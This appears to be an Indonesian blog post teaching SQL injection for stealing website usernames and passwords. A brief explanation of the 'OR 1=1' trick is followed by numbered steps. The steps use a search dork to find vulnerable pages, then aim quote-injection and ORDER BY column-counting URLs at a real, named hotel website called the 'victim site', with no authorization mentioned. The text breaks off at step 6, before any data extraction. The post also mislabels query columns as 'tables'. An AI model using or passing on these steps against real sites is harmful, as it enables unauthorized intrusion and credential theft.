MEMANFAATKAN KESALAHAN QUERY DATABASE SUATU WEB UNTUK MENDAPATKAN USERNAME SERTA PASSWORD NYA MENGGUNAKAN TEKNIK SQL INJECTION
PENGERTIAN
- Kerusakan pada database: Dikarenakan orang dapat dengan mudah memodifikasi database ataupun merusak data yang ada di dalamnya hanya dengan menggunakan statement SQL.
- Perubahan pada data: SQL memiliki beberapa query yang berupa DML (Data Manipulation Language), dan orang yang tidak bertanggung jawab dapat mengetikkan query ini untuk mengubah data dalam database.
CARA KERJA
Pada dasarnya, SQL injection ini bekerja dengan memasukkan perintah atau query SQL untuk mendapatkan data. Sebagai contoh, setiap murid dalam suatu sekolah hanya memiliki akses data sesuai dengan student ID milik masing-masing.
Ketika seorang murid memasukan data student ID-nya, maka web server akan mengambil data dengan mengirimkan perintah SQL ke database untuk mengembalikan data sesuai dengan parameter yang diketik oleh murid tersebut.
Perhatikan contoh query berikut ini apabila murid tersebut mengetikkan sebuah parameter 12345 or 1=1:
Sistem akan menerjemahkan input dari murid tersebut menjadi query seperti di atas. Apa arti dari 1=1? Dalam pemrograman baik menggunakan SQL atau Python, kita sering melihat bentuk seperti 1=1 atau ini dapat diartikan sebagai kondisi TRUE.
Ketika seseorang mengetikkan perintah 1=1 pada SQL, hal ini berarti bahwa klausa SELECT tersebut akan mengembalikan semua data yang bersifat TRUE, karena nilai 1 atau TRUE ini pasti akan (=) bersifat 1 atau TRUE.
Kita mengetahui bahwa dalam klausa WHERE dengan 2 atau lebih kondisi yang memiliki operator OR, maka apabila salah satu klausa bersifat TRUE, maka query tersebut akan dijalankan.
Walaupun nilai 12345 mungkin tidak ada pada database, namun dengan teknik ini, maka seluruh nilai sudah pasti akan ditampilkan karena 1=1 sudah pasti bernilai TRUE. (sumber: https://revou.co/panduan-teknis/sql-injection).
PERCOBAAN
1. Ketik perintah berikut pada browser anda:inurl /detail.php id=
inurl /detail.php id=
2. Misal target yang dipilih adalah : http://www.embryohotel.com/room-detail.php?id=1
3. Tambahkan tanda kutip (') pada belakang baris seperti dibawah ini:http://www.embryohotel.com/room-detail.php?id=1'
Lalu tekan ENTER.
http://www.embryohotel.com/room-detail.php?id=1'
Muncul pesan error yang artinya situs tersebut vulnerable.
4. Selanjutnya kita akan menebak jumlah tabel yang ada di dalam databasenya. Tebak jumlah tabel dengan menambahkan order by hingga halaman
menampilkan pesan error. Misal kita menebak jumlah tabel nya adalah 10, maka kita ketikkan:http://www.embryohotel.com/room-detail.php?id=1 order by 10
Jangan lupa hapus tanda kutip (') yang ditambahkan sebelumnya.
Ternyata jumlah tebakan 10 belum memunculkan pesan error.
http://www.embryohotel.com/room-detail.php?id=1 order by 10
5. Karena belum memunculkan pesan error, ganti dengan tebakan yang berbeda misalnya 15. Maka ketikkan perintah sebagai berikut:http://www.embryohotel.com/room-detail.php?id=1 order by 15
http://www.embryohotel.com/room-detail.php?id=1 order by 15
Ternyata dengan tebakan 15 memunculkan pesan error yang artinya jumlah tabel antara 10 - 15.
6. Untuk lebih memastikan jumlah tabel yang dimiliki situs korban ini, coba dengan tebakan antara 10 - 15 misalnya 13. Ketikkan perintah berikut :http://www.embryohotel.com/room-detail.php?id=1 order by 13
http://www.embryohotel.com/room-detail.php?id=1 order by 13
Comments
Post a Comment